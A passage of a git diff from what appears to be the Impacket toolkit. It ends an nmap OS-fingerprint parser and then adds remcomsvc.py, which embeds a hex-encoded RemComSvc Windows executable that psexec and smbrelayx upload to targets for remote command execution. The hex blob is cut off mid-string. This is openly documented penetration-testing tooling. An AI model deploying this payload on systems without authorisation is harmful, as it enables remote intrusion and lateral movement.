+                fp = self.parse_fp(fingerprint)
+                similarity = fp.compare(res, mp)
+                if similarity >= threshold: 
+                    print("\"%s\" matches with an accuracy of %.2f%%" \
+                           % (fp.get_id(), similarity))
+                    output.append((similarity / 100,
+                                   fp.get_id(),
+                                   (fp.get_os_class().get_vendor(),
+                                    fp.get_os_class().get_name(),
+                                    fp.get_os_class().get_family(),
+                                    fp.get_os_class().get_device_type())))
+
+            infile.close()
+        except IOError as err:
+            print("IOError: %s", err)
+
+        return output
+
+    def sections(self, infile, token):
+        OUT = 0
+        IN = 1
+        
+        state = OUT
+        output = []
+
+        for line in infile:
+            line = line.strip()
+            if state == OUT:
+                if line.startswith(token):
+                    state = IN
+                    output = [line]
+            elif state == IN:
+                if line:
+                    output.append(line)
+                else:
+                    state = OUT
+                    yield output
+                    output = []
+
+        if output:
+            yield output
+
+    def fingerprints(self, infile):
+        for section in self.sections(infile,"Fingerprint"):
+            yield section
+
+    def matchpoints(self, infile):
+        return self.sections(infile,"MatchPoints").next()
+
+    def parse_line(self, line):
+        name = line[:line.find("(")]
+        pairs = line[line.find("(") + 1 : line.find(")")]
+        
+        test = {}
+        
+        for pair in pairs.split("%"):
+            pair = pair.split("=")
+            test[pair[0]] = pair[1]
+       
+        return (name, test)
+
+    def parse_fp(self, fp):
+        tests = {}
+
+        for line in fp:
+            if line.startswith("#"):
+                continue
+            elif line.startswith("Fingerprint"):
+                fingerprint = line[len("Fingerprint") + 1:]
+            elif line.startswith("Class"):
+                (vendor, 
+                 name, 
+                 family, 
+                 device_type) = line[len("Class") + 1:].split("|")
+                os_class = NMAP2_OS_Class(vendor.strip(), 
+                                          name.strip(), 
+                                          family.strip(), 
+                                          device_type.strip()) 
+            else:
+                test = self.parse_line(line)
+                tests[test[0]] = test[1]
+        
+        return NMAP2_Fingerprint(fingerprint, os_class, tests)
+            
+    def parse_mp(self, fp):
+        tests = {}
+
+        for line in fp:
+            if line.startswith("#"):
+                continue
+            elif line.startswith("MatchPoints"):
+                continue
+            else:
+                test = self.parse_line(line)
+                tests[test[0]] = test[1]
+        
+        return tests
diff --git a/impacket/examples/remcomsvc.py b/impacket/examples/remcomsvc.py
new file mode 100644
index 0000000..30b1312
--- /dev/null
+++ b/impacket/examples/remcomsvc.py
@@ -0,0 +1,1672 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   REMCOMSVC library. It provides a way to retrieve the RemComSvc binary file to be
+#   uploaded to the target machine. This is used by psexec and smbrelayx.
+#
+#   If you want to compile this file yourself, get the source code from
+#   https://github.com/kavika13/RemCom, compile RemComSvc project, and
+#   dump the binary (hexlify) in this file, on the REMCOMSVC variable
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Copyright and licensing note in remcomsvc.cpp:
+#
+# Copyright (c) 2006 Talha Tariq [ talha.tariq@gmail.com ] 
+# All rights are reserved.
+#
+# Permission to use, copy, modify, and distribute this software 
+# for any purpose and without any fee is hereby granted, 
+# provided this notice is included in its entirety in the 
+# documentation and in the source files.
+# 
+# This software and any related documentation is provided "as is" 
+# without any warranty of any kind, either express or implied, 
+# including, without limitation, the implied warranties of 
+# merchantability or fitness for a particular purpose. The entire 
+# risk arising out of use or performance of the software remains 
+# with you. 
+# 
+# $Author:	Talha Tariq [ talha.tariq@gmail.com ] 
+# 		uses some code from xCmd by Zoltan Csizmadia
+# $Revision:	Talha Tariq [ talha.tariq@gmail.com ] 	
+# $Revision:	Andres Ederra 
+#
+
+import binascii
+
+class RemComSvc:
+    def __init__(self):
+        self.binary = binascii.unhexlify(REMCOMSVC)
+        self.offset = 0
+
+    def read(self, amount):
+        # Returns amount of bytes and updates the offset within REMCOMSVC variable
+        data =  self.binary[self.offset:self.offset+amount]
+        self.offset += amount
+        return data
+
+    def seek(self, offset):
+        self.offset = offset
+
+    def close(self):
+        return
+        
+
+REMCOMSVC= b'4d5a90000300000004000000ffff0000b800000000000000400000000000' \
+b'000000000000000000000000000000000000000000000000000000000000d80000000e' \
+b'1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f74206265' \
+b'2072756e20696e20444f53206d6f64652e0d0d0a24000000000000008030ee41c45180' \
+b'12c4518012c4518012cd291512d4518012cd290312a4518012e397fb12c1518012c451' \
+b'8112b4518012cd290412e5518012cd291112c551801252696368c45180120000000000' \
+b'0000000000000000000000504500004c010500b1cf23500000000000000000e0000201' \
+b'0b010900009400000044000000000000a61d00000010000000b0000000004000001000' \
+b'0000020000050000000000000005000000000000000030010000040000bc3801000300' \
+b'40810000100000100000000010000010000000000000100000000000000000000000c4' \
+b'c800003c00000000100100b40100000000000000000000000000000000000000200100' \
+b'1409000000000000000000000000000000000000000000000000000000000000000000' \
+b'0080c4000040000000000000000000000000b000008801000000000000000000000000' \
+b'00000000000000000000000000002e74657874000000c4930000001000000094000000' \
+b'040000000000000000000000000000200000602e726461746100009821000000b00000' \
+b'0022000000980000000000000000000000000000400000402e646174610000002c2e00' \
+b'0000e000000010000000ba0000000000000000000000000000400000c02e7273726300' \
+b'0000b4010000001001000002000000ca0000000000000000000000000000400000402e' \
+b'72656c6f630000a40f0000002001000010000000cc0000000000000000000000000000' \
+b'4000004200000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'00000000000000000000000000005357683f000f0033db5353ff1520b040008bf83bfb' \
+b'746a5668ff010f0068c8b1400057ff1524b040008bf03bf3750b57ff1528b040005e5f' \
+b'5bc356ff152cb04000a100ef40006804ef400050c70508ef400001000000891d18ef40' \
+b'00891d1cef4000891d10ef4000891d14ef4000ff1530b04000568b3528b04000ffd657' \
+b'ffd65e5f5bc3cccccccccccccccccccccccc558bec8b450883e801740da100ef400068' \
+b'04ef400050eb348b0d20ef400051ff1578b040008b1500ef400033c06804ef4000a310' \
+b'ef4000c70508ef400001000000a318ef4000a31cef400052ff1530b0400085c07506ff' \
+b'1580b040005dc20400558bec83ec30a100e0400033c58945fc5356578b7d08897de0ff' \
+b'1564b0400033db505368ffff1f00895de8c745ec3200000033f6885df4885df5885df6' \
+b'885df7885df8c645f905895ddc895de4895df0891fff1568b040008d4de8516a085089' \
+b'45d8ff150cb0400085c0750eff1580b040008945f0e9380100008b55ec5253ff156cb0' \
+b'40008bf03bf3750eff1580b040008945f0e9190100008b4dec8b55e88b1d10b040008d' \
+b'45ec5051566a0252ffd38b3d80b0400085c07553ffd783f87a740affd78945f0e9e700' \
+b'000056ff1570b040008b45ec506a00ff156cb040008bf085f6750affd78945f0e9c400' \
+b'00008b55ec8b45e88d4dec5152566a0250ffd385c0750affd78945f0e9a50000008b1d' \
+b'14b040008d4ddc516a006a006a006a006a006a006a006a046a018d55f452ffd385c075' \
+b'07ffd78945f0eb788d45e4506a006a006a006a006a006a006a006a066a018d4df451ff' \
+b'd385c07507ffd78945f0eb5133db391e763d8d7e048d9b000000008b4ddc8b078b5704' \
+b'51508945d08955d4ff1518b0400085c0757b8b55e48b45d05250ff1518b0400085c075' \
+b'744383c7083b1e72cc8b45e08338007506c700010000008b45e48b3d1cb0400085c074' \
+b'0350ffd78b45dc85c0740350ffd785f6740756ff1570b040008b45e88b3574b0400085' \
+b'c0740350ffd68b45d885c0740350ffd68b4dfc8b45f05f5e33cd5be8790500008be55d' \
+b'c38b4de0c70100000000eba28b55e0c70201000000eb97cccccccccc5633f668901040' \
+b'0068d4b14000c70504ef400030000000c70508ef400002000000c7050cef4000010000' \
+b'00893510ef4000893514ef4000893518ef400089351cef4000ff1508b04000a300ef40' \
+b'003bc6744e6804ef400050c70508ef400004000000893518ef400089351cef4000ff15' \
+b'30b0400085c0750aff1580b040005ec2080056565656ff1560b0400056566830184000' \
+b'a320ef4000e8cd05000083c40c5ec20800cccccccccccccccccccccccc558bec83ec14' \
+b'8d45fc50c745ecc8b14000c745f010134000c745f400000000c745f800000000c745fc' \
+b'01000000e8fefcffff83c404837dfc00750d68dcb14000e82e06000083c4048d4dec51' \
+b'ff1504b040008be55dc3cccccccccccccccccccc558bec83ec20535633c0578945f889' \
+b'45fc6a018d45e050c745f400000000ff1534b040006a006a006a018d4de051ff1500b0' \
+b'40008b750c8b7d08814e2c0001000083c8ff89463c8946388946408b8708110000508d' \
+b'9f0c110000536834b240008d55e06824b240006830ef4000c745f40c0000008955f8c7' \
+b'45fc01000000e8550600008b8f0811000051536814b240006824b240006838f04000e8' \
+b'390600008b970811000052536804b240006824b240006840f14000e81d0600008b3d58' \
+b'b0400083c43c8d45f4506aff6a006a0068ff0000006a046a026830ef4000ffd78d4df4' \
+b'516aff6a006a0068ff0000006a046a026840f1400089463cffd78d55f4526aff6a006a' \
+b'0068ff0000008946406a046a016838f04000ffd78b4e3c89463883f9ff7432837e40ff' \
+b'742c83f8ff74278b3d5cb040006a0051ffd78b46386a0050ffd78b4e406a0051ffd75f' \
+b'5eb8010000005b8be55dc38b3d74b0400051ffd78b564052ffd78b463850ffd75f5e33' \
+b'c05b8be55dc3cccccccccccccccccccccccccc558bec81ec60010000a100e0400033c5' \
+b'8945fc568b7508578b7d0c6a448d85a0feffff6a0050e8b50500008d8da0feffff5156' \
+b'c785a0feffff44000000e83efeffff83c41485c075155fb8020000005e8b4dfc33cde8' \
+b'700200008be55dc353568d95f8feffff6844b2400052c70700000000c785f4feffff00' \
+b'000000e8d70400000fbe860010000083c40c8d8e00100000f7d81bc023c18d8de4feff' \
+b'ff518d95a0feffff52508b86041100006a000d00000008506a016a006a008d8df8feff' \
+b'ff516a00ff154cb0400085c0743f8b85e4feffffc7070000000083be10120000008bd8' \
+b'75326aff50ff1550b040005753ff1554b040008b85f4feffff5b5f5e8b4dfc33cde8c2' \
+b'0100008be55dc3c785f4feffff010000008b4dfc8b85f4feffff5b5f33cd5ee8a10100' \
+b'008be55dc3cccccc558becb828120000e823050000a100e0400033c58945fc568b7508' \
+b'6828ef4000ff1544b0400033c0508985e0edffff8985e4edffff8d85dcedffff506814' \
+b'1200008d8de8edffff5156ff157cb0400085c0743e83bddcedffff0074358d95e4edff' \
+b'ff528d85e8edffff50e861feffff83c4086a008d8dd8edffff516a088d95e0edffff52' \
+b'568985e0edffffff153cb0400056ff1540b0400056ff1574b040006828ef4000ff1548' \
+b'b04000833d28ef4000005e750ca120ef400050ff1578b040008b4dfc33cde8d0000000' \
+b'8be55dc3cccc558bec83ec20538b1d00b0400056578b3d34b0400033c08945f88945fc' \
+b'6a018d45e050c745f400000000ffd76a016a006a018d4de051ffd38d45f4506aff6a00' \
+b'6a0068ff0000006a046a038d55e06848b24000c745f40c0000008955f8c745fc010000' \
+b'00ff1558b040008bf085f674a56a0056ff155cb04000566a0068d0164000e854010000' \
+b'83c40ceb8acccccccccc566a006a0068a0174000e83b0100008b3550b0400083c40ca1' \
+b'20ef40006a0a50ffd685c075f2e8a5f7ffff8b0d20ef400051ff1574b040005ec33b0d' \
+b'00e040007502f3c3e937050000833d240e41000056741568240e4100e8030d00005985' \
+b'c07406ff15240e4100e8a40800008bf085f674168b460483f8ff740750ff1574b04000' \
+b'56e84b0a0000596a00ff1584b04000cc6a0c68f0c44000e81a120000e8e70800008365' \
+b'fc00ff7058ff505459e896ffffff8b45ec8b088b09894de45051e8921000005959c38b' \
+b'65e8ff75e4e801100000cc8bff558bece8bf060000e8b406000050e89406000085c075' \
+b'1fff7508e8a206000050e8d606000085c07528ff1580b0400050ff1584b040008b4d08' \
+b'8b51548950548b51588950588b510451895004e87e080000833d280e41000074156828' \
+b'0e4100e8270c00005985c07406ff15280e4100e849ffffffcc8bff558bec5153578b7d' \
+b'0833db895dfc3bfb7520e88b1300005353535353c70016000000e86816000083c41483' \
+b'c8ffe98100000056e81806000068140200006a01e87a1400008bf059593bf3744ae8ed' \
+b'070000ff706c56e8840600008b45105959566a04566803194000ff750c897e54538946' \
+b'58ff158cb040008bf8897e043bfb740c57ff1588b0400083f8ff7523ff1580b0400089' \
+b'45fc56e84f13000059395dfc7409ff75fce81e1300005983c8ffeb028bc75e5f5bc9c3' \
+b'6a0c6810c54000e8a910000033c033f63975080f95c03bc6751de8cc120000c7001600' \
+b'00005656565656e8a915000083c41483c8ffeb5fe8c21500006a205b03c3506a01e8cd' \
+b'16000059598975fce8ab15000003c350e858170000598bf88d450c5056ff7508e89315' \
+b'000003c350e83d1900008945e4e88315000003c35057e8cb17000083c418c745fcfeff' \
+b'ffffe8090000008b45e4e85f100000c3e85d15000083c020506a01e8d81600005959c3' \
+b'a100e0400083c80133c9390544f240000f94c18bc1c38bff558bec83ec205333db395d' \
+b'0c751de8111200005353535353c70016000000e8ee14000083c41483c8ffeb4d8b4508' \
+b'3bc374dc568945e88945e08d45105053ff750c8d45e050c745e4ffffff7fc745ec4200' \
+b'0000e89118000083c410ff4de48bf078078b45e08818eb0c8d45e05053e80e24000059' \
+b'598bc65e5bc9c3cccccccccccccccccccccc8b54240c8b4c240485d2746933c08a4424' \
+b'0884c0751681fa00010000720e833de0fd4000007405e98a250000578bf983fa047231' \
+b'f7d983e103740c2bd1880783c70183e90175f68bc8c1e00803c18bc8c1e01003c18bca' \
+b'83e203c1e9027406f3ab85d2740a880783c70183ea0175f68b4424085fc38b442404c3' \
+b'cccccccccccc518d4c24042bc81bc0f7d023c88bc42500f0ffff3bc8720a8bc159948b' \
+b'00890424c32d001000008500ebe98bff558bec833d50f24000027405e841280000ff75' \
+b'08e88e26000068ff000000e8810a000059595dc36a146830c54000e8880e0000b84d5a' \
+b'0000663905000040007538a13c00400081b800004000504500007527b90b0100006639' \
+b'8818004000751983b8740040000e761033c93988e80040000f95c1894de4eb048365e4' \
+b'006a01e8112f00005985c075086a1ce86effffff59e8ae06000085c075086a10e85dff' \
+b'ffff59e8a22e00008365fc00e8452c000085c07d086a1be89509000059ff1590b04000' \
+b'a3200e4100e8f22a0000a348f24000e82d2a000085c07d086a08e86f09000059e8a427' \
+b'000085c07d086a09e85e090000596a01e8150a00005985c0740750e84b09000059a19c' \
+b'f54000a3a0f5400050ff3594f54000ff3590f54000e871f6ffff83c40c8945e0837de4' \
+b'00750650e88c0b0000e8b30b0000eb2e8b45ec8b088b09894ddc5051e80d0c00005959' \
+b'c38b65e88b45dc8945e0837de400750650e8720b0000e8920b0000c745fcfeffffff8b' \
+b'45e0e8880d0000c3e8472e0000e9a4feffff8bff558bec81ec28030000a360f3400089' \
+b'0d5cf34000891558f34000891d54f34000893550f34000893d4cf34000668c1578f340' \
+b'00668c0d6cf34000668c1d48f34000668c0544f34000668c2540f34000668c2d3cf340' \
+b'009c8f0570f340008b4500a364f340008b4504a368f340008d4508a374f340008b85e0' \
+b'fcffffc705b0f2400001000100a168f34000a364f24000c70558f24000090400c0c705' \
+b'5cf2400001000000a100e040008985d8fcffffa104e040008985dcfcffffff15a4b040' \
+b'00a3a8f240006a01e80b2e0000596a00ff15a0b040006868b24000ff159cb04000833d' \
+b'a8f240000075086a01e8e72d00005968090400c0ff1598b0400050ff1594b04000c9c3' \
+b'8bff558bec56ff3518e040008b35b0b04000ffd685c07421a114e0400083f8ff741750' \
+b'ff3518e04000ffd6ffd085c074088b80f8010000eb27be80b2400056ff15a8b0400085' \
+b'c0750b56e8480700005985c074186870b2400050ff15acb0400085c07408ff7508ffd0' \
+b'8945088b45085e5dc36a00e887ffffff59c38bff558bec56ff3518e040008b35b0b040' \
+b'00ffd685c07421a114e0400083f8ff741750ff3518e04000ffd6ffd085c074088b80fc' \
+b'010000eb27be80b2400056ff15a8b0400085c0750b56e8cd0600005985c07418689cb2' \
+b'400050ff15acb0400085c07408ff7508ffd08945088b45085e5dc3ff15b4b04000c204' \
+b'008bff558becff7508ff3518e04000ff15b0b04000ffd05dc20400a114e04000c38bff' \
+b'56ff3518e04000ff15b0b040008bf085f6751bff3580f54000e845ffffff598bf056ff' \
+b'3518e04000ff15b8b040008bc65ec38bff558becff750cff7508ff3584f54000e81bff' \
+b'ffff59ffd05dc20800a114e0400083f8ff741650ff3588f54000e8fefeffff59ffd083' \
+b'0d14e04000ffa118e0400083f8ff740e50ff15bcb04000830d18e04000ffe9812c0000' \
+b'6a0c6850c54000e8820a0000be80b2400056ff15a8b0400085c0750756e8d105000059' \
+b'8945e48b7508c7465c00b3400033ff47897e1485c074246870b24000508b1dacb04000' \
+b'ffd38986f8010000689cb24000ff75e4ffd38986fc010000897e70c686c800000043c6' \
+b'864b01000043c7466840e740006a0de8352d0000598365fc00ff7668ff1544b04000c7' \
+b'45fcfeffffffe83e0000006a0ce8142d000059897dfc8b450c89466c85c07508a130e7' \
+b'400089466cff766ce8722e000059c745fcfeffffffe815000000e8050a0000c333ff47' \
+b'8b75086a0de8fc2b000059c36a0ce8f32b000059c38bff5657ff1580b04000ff3514e0' \
+b'40008bf8e874feffffffd08bf085f6754e68140200006a01e8ce0c00008bf0595985f6' \
+b'743a56ff3514e04000ff3584f54000e8abfdffff59ffd085c074186a0056e8c5feffff' \
+b'5959ff15c4b04000834e04ff8906eb0956e8bc0b00005933f657ff15c0b040005f8bc6' \
+b'5ec38bff56e87fffffff8bf085f675086a10e8ae040000598bc65ec36a086878c54000' \
+b'e8080900008b750885f60f84f80000008b462485c0740750e86f0b0000598b462c85c0' \
+b'740750e8610b0000598b463485c0740750e8530b0000598b463c85c0740750e8450b00' \
+b'00598b464085c0740750e8370b0000598b464485c0740750e8290b0000598b464885c0' \
+b'740750e81b0b0000598b465c3d00b34000740750e80a0b0000596a0de8a72b00005983' \
+b'65fc008b7e6885ff741a57ff1548b0400085c0750f81ff40e74000740757e8dd0a0000' \
+b'59c745fcfeffffffe8570000006a0ce86e2b000059c745fc010000008b7e6c85ff7423' \
+b'57e8642d0000593b3d30e74000741481ff58e64000740c833f00750757e8702b000059' \
+b'c745fcfeffffffe81e00000056e8850a000059e845080000c204008b75086a0de83d2a' \
+b'000059c38b75086a0ce8312a000059c38bff558bec833d14e04000ff744b837d080075' \
+b'2756ff3518e040008b35b0b04000ffd685c07413ff3514e04000ff3518e04000ffd6ff' \
+b'd08945085e6a00ff3514e04000ff3584f54000e8e0fbffff59ffd0ff7508e878feffff' \
+b'a118e0400083f8ff74096a0050ff15b8b040005dc38bff5657be80b2400056ff15a8b0' \
+b'400085c0750756e8c2020000598bf885ff0f845e0100008b35acb0400068ccb2400057' \
+b'ffd668c0b2400057a37cf54000ffd668b4b2400057a380f54000ffd668acb2400057a3' \
+b'84f54000ffd6833d7cf54000008b35b8b04000a388f540007416833d80f5400000740d' \
+b'833d84f5400000740485c07524a1b0b04000a380f54000a1bcb04000c7057cf54000a3' \
+b'1f4000893584f54000a388f54000ff15b4b04000a318e0400083f8ff0f84cc000000ff' \
+b'3580f5400050ffd685c00f84bb000000e8f4040000ff357cf54000e868faffffff3580' \
+b'f54000a37cf54000e858faffffff3584f54000a380f54000e848faffffff3588f54000' \
+b'a384f54000e838faffff83c410a388f54000e80528000085c0746568d4214000ff357c' \
+b'f54000e892faffff59ffd0a314e0400083f8ff744868140200006a01e8820900008bf0' \
+b'595985f6743456ff3514e04000ff3584f54000e85ffaffff59ffd085c0741b6a0056e8' \
+b'79fbffff5959ff15c4b04000834e04ff890633c040eb07e824fbffff33c05f5ec3cccc' \
+b'8bff558bec8b4d08b84d5a0000663901740433c05dc38b413c03c181385045000075ef' \
+b'33d2b90b010000663948180f94c28bc25dc3cccccccccccccccccccccc8bff558bec8b' \
+b'45088b483c03c80fb7411453560fb7710633d2578d44081885f6761b8b7d0c8b480c3b' \
+b'f972098b580803d93bfb720a4283c0283bd672e833c05f5e5b5dc3cccccccccccccccc' \
+b'cccccccc8bff558bec6afe68a0c5400068502b400064a1000000005083ec08535657a1' \
+b'00e040003145f833c5508d45f064a3000000008965e8c745fc000000006800004000e8' \
+b'2affffff83c40485c074558b45082d00004000506800004000e850ffffff83c40885c0' \
+b'743b8b4024c1e81ff7d083e001c745fcfeffffff8b4df064890d00000000595f5e5b8b' \
+b'e55dc38b45ec8b088b0133d23d050000c00f94c28bc2c38b65e8c745fcfeffffff33c0' \
+b'8b4df064890d00000000595f5e5b8be55dc38bff558bec57bfe803000057ff15c8b040' \
+b'00ff7508ff15a8b0400081c7e803000081ff60ea0000770485c074de5f5dc38bff558b' \
+b'ece8f81d0000ff7508e8451c0000ff351ce04000e897f8ffff68ff000000ffd083c40c' \
+b'5dc38bff558bec68e8b24000ff15a8b0400085c0741568d8b2400050ff15acb0400085' \
+b'c07405ff7508ffd05dc38bff558becff7508e8c8ffffff59ff7508ff15ccb04000cc6a' \
+b'08e81c27000059c36a08e83926000059c38bff558bec568bf0eb0b8b0685c07402ffd0' \
+b'83c6043b750872f05e5dc38bff558bec568b750833c0eb0f85c075108b0e85c97402ff' \
+b'd183c6043b750c72ec5e5dc38bff558bec833d180e410000741968180e4100e83cfeff' \
+b'ff5985c0740aff7508ff15180e410059e81d32000068a8b140006890b14000e8a1ffff' \
+b'ff595985c07542689c4b4000e8e7310000b888b14000c704248cb14000e863ffffff83' \
+b'3d1c0e41000059741b681c0e4100e8e4fdffff5985c0740c6a006a026a00ff151c0e41' \
+b'0033c05dc36a1868c0c54000e81b0300006a08e838260000598365fc0033db43391dbc' \
+b'f540000f84c5000000891db8f540008a4510a2b4f54000837d0c000f859d000000ff35' \
+b'100e4100e826f7ffff598bf8897dd885ff7478ff350c0e4100e811f7ffff598bf08975' \
+b'dc897de48975e083ee048975dc3bf77257e8edf6ffff390674ed3bf7724aff36e8e7f6' \
+b'ffff8bf8e8d7f6ffff8906ffd7ff35100e4100e8d1f6ffff8bf8ff350c0e4100e8c4f6' \
+b'ffff83c40c397de475053945e0740e897de4897dd88945e08bf08975dc8b7dd8eb9f68' \
+b'b8b14000b8acb14000e85ffeffff5968c0b14000b8bcb14000e84ffeffff59c745fcfe' \
+b'ffffffe81f000000837d10007528891dbcf540006a08e86624000059ff7508e8fcfdff' \
+b'ff33db43837d100074086a08e84d24000059c3e841020000c38bff558bec6a006a00ff' \
+b'7508e8c3feffff83c40c5dc38bff558bec6a006a01ff7508e8adfeffff83c40c5dc36a' \
+b'016a006a00e89dfeffff83c40cc36a016a016a00e88efeffff83c40cc38bff56e8e9f5' \
+b'ffff8bf056e84833000056e8d332000056e88105000056e8b832000056e8a332000056' \
+b'e88b30000056e81a00000056e86e3000006803294000e83bf5ffff83c424a31ce04000' \
+b'5ec3c38bff558bec515156e8aef7ffff8bf085f60f84460100008b565ca12ce0400057' \
+b'8b7d088bca533939740e8bd86bdb0c83c10c03da3bcb72ee6bc00c03c23bc873083939' \
+b'75048bc1eb0233c085c0740a8b5808895dfc85db750733c0e9fb00000083fb05750c83' \
+b'60080033c040e9ea00000083fb010f84de0000008b4e60894df88b4d0c894e608b4804' \
+b'83f9080f85b80000008b0d20e040008b3d24e040008bd103f93bd77d246bc90c8b7e5c' \
+b'83643908008b3d20e040008b1d24e040004203df83c10c3bd37ce28b5dfc8b008b7e64' \
+b'3d8e0000c07509c7466483000000eb5e3d900000c07509c7466481000000eb4e3d9100' \
+b'00c07509c7466484000000eb3e3d930000c07509c7466485000000eb2e3d8d0000c075' \
+b'09c7466482000000eb1e3d8f0000c07509c7466486000000eb0e3d920000c07507c746' \
+b'648a000000ff76646a08ffd359897e64eb078360080051ffd38b45f85989466083c8ff' \
+b'5b5f5ec9c3cccc68502b400064ff35000000008b442410896c24108d6c24102be05356' \
+b'57a100e040003145fc33c5508965e8ff75f88b45fcc745fcfeffffff8945f88d45f064' \
+b'a300000000c38b4df064890d00000000595f5f5e5b8be55d51c3cccccccccccccccccc' \
+b'cccccccccccc8bff558bec83ec18538b5d0c568b7308333500e04000578b06c645ff00' \
+b'c745f4010000008d7b1083f8fe740d8b4e0403cf330c38e8e1ecffff8b4e0c8b460803' \
+b'cf330c38e8d1ecffff8b4508f64004660f85160100008b4d108d55e88953fc8b5b0c89' \
+b'45e8894dec83fbfe745f8d49008d045b8b4c86148d4486108945f08b008945f885c974' \
+b'148bd7e8dc310000c645ff0185c07c407f478b45f88bd883f8fe75ce807dff0074248b' \
+b'0683f8fe740d8b4e0403cf330c38e85eecffff8b4e0c8b560803cf330c3ae84eecffff' \
+b'8b45f45f5e5b8be55dc3c745f400000000ebc98b4d08813963736de07529833d040e41' \
+b'0000742068040e4100e843f9ffff83c40485c0740f8b55086a0152ff15040e410083c4' \
+b'088b4d0ce87f3100008b450c39580c74126800e04000578bd38bc8e8823100008b450c' \
+b'8b4df889480c8b0683f8fe740d8b4e0403cf330c38e8cbebffff8b4e0c8b560803cf33' \
+b'0c3ae8bbebffff8b45f08b48088bd7e815310000bafeffffff39530c0f8452ffffff68' \
+b'00e04000578bcbe82d310000e91cffffff8bff558bec8b450833c93b04cd30e0400074' \
+b'134183f92d72f18d48ed83f911770e6a0d585dc38b04cd34e040005dc30544ffffff6a' \
+b'0e593bc81bc023c183c0085dc3e81ef4ffff85c07506b898e14000c383c008c3e80bf4' \
+b'ffff85c07506b89ce14000c383c00cc38bff558bec56e8e2ffffff8b4d08518908e882' \
+b'ffffff598bf0e8bcffffff89305e5dc36a0c68e0c54000e875fdffff8b750885f67475' \
+b'833dbcfc40000375436a04e882200000598365fc0056e886300000598945e485c07409' \
+b'5650e8a73000005959c745fcfeffffffe80b000000837de4007537ff7508eb0a6a04e8' \
+b'6e1f000059c3566a00ff35fcf94000ff15d0b0400085c07516e840ffffff8bf0ff1580' \
+b'b0400050e8f0feffff890659e839fdffffc38bff558bec565733f6ff7508e8283b0000' \
+b'8bf85985ff75273905c0f54000761f56ff15c8b040008d86e80300003b05c0f5400076' \
+b'0383c8ff8bf083f8ff75ca8bc75f5e5dc38bff558bec565733f66a00ff750cff7508e8' \
+b'a83b00008bf883c40c85ff75273905c0f54000761f56ff15c8b040008d86e80300003b' \
+b'05c0f54000760383c8ff8bf083f8ff75c38bc75f5e5dc38bff558bec565733f6ff750c' \
+b'ff7508e87c3c00008bf8595985ff752c39450c74273905c0f54000761f56ff15c8b040' \
+b'008d86e80300003b05c0f54000760383c8ff8bf083f8ff75c18bc75f5e5dc38bff558b' \
+b'ec8b4508a3c4f540005dc38bff558bec81ec28030000a100e0400033c58945fc83a5d8' \
+b'fcffff00536a4c8d85dcfcffff6a0050e870ecffff8d85d8fcffff898528fdffff8d85' \
+b'30fdffff83c40c89852cfdffff8985e0fdffff898ddcfdffff8995d8fdffff899dd4fd' \
+b'ffff89b5d0fdffff89bdccfdffff668c95f8fdffff668c8decfdffff668c9dc8fdffff' \
+b'668c85c4fdffff668ca5c0fdffff668cadbcfdffff9c8f85f0fdffff8b45048d4d04c7' \
+b'8530fdffff010001008985e8fdffff898df4fdffff8b49fc898de4fdffffc785d8fcff' \
+b'ff170400c0c785dcfcffff010000008985e4fcffffff15a4b040006a008bd8ff15a0b0' \
+b'40008d8528fdffff50ff159cb0400085c0750c85db75086a02e89d1c00005968170400' \
+b'c0ff1598b0400050ff1594b040008b4dfc33cd5be861e8ffffc9c38bff558becff35c4' \
+b'f54000e816efffff5985c074035dffe06a02e85e1c0000595de9b2feffffb8a0e14000' \
+b'c3a1000e4100566a145e85c07507b800020000eb063bc67d078bc6a3000e41006a0450' \
+b'e8dcfdffff5959a3e4fd400085c0751e6a04568935000e4100e8c3fdffff5959a3e4fd' \
+b'400085c075056a1a585ec333d2b9a0e14000eb05a1e4fd4000890c0283c12083c20481' \
+b'f920e440007cea6afe5e33d2b9b0e14000578bc2c1f8058b0485e0fc40008bfa83e71f' \
+b'c1e7068b040783f8ff74083bc6740485c07502893183c1204281f910e240007cce5f33' \
+b'c05ec3e86d3e0000803db4f54000007405e8363c0000ff35e4fd4000e861fcffff59c3' \
+b'8bff558bec568b7508b8a0e140003bf0722281fe00e44000771a8bce2bc8c1f90583c1' \
+b'1051e8da1c0000814e0c0080000059eb0a83c62056ff15d4b040005e5dc38bff558bec' \
+b'8b450883f8147d1683c01050e8ad1c00008b450c81480c00800000595dc38b450c83c0' \
+b'2050ff15d4b040005dc38bff558bec8b4508b9a0e140003bc1721f3d00e44000771881' \
+b'600cff7fffff2bc1c1f80583c01050e88a1b0000595dc383c02050ff15d8b040005dc3' \
+b'8bff558bec8b4d0883f9148b450c7d1381600cff7fffff83c11051e85b1b0000595dc3' \
+b'83c02050ff15d8b040005dc38bff558bec568b750856e8d23d000050e8683d00005959' \
+b'85c0747ce82bfeffff83c0203bf0750433c0eb0fe81bfeffff83c0403bf0756033c040' \
+b'ff05c8f54000f7460c0c010000754e53578d3c85ccf54000833f00bb00100000752053' \
+b'e8adfbffff59890785c075138d46146a02894608890658894618894604eb0d8b3f897e' \
+b'08893e895e18895e04814e0c0211000033c05f405beb0233c05e5dc38bff558bec837d' \
+b'08007427568b750cf7460c00100000741956e8303b000081660cffeeffff8366180083' \
+b'260083660800595e5dc38bff558bec8b4508568bf1c6460c0085c07563e8eceeffff89' \
+b'46088b486c890e8b4868894e048b0e3b0d30e7400074128b0d88ec40008548707507e8' \
+b'f81d000089068b46043b0568eb400074168b46088b0d88ec40008548707508e8742000' \
+b'008946048b4608f6407002751483487002c6460c01eb0a8b08890e8b40048946048bc6' \
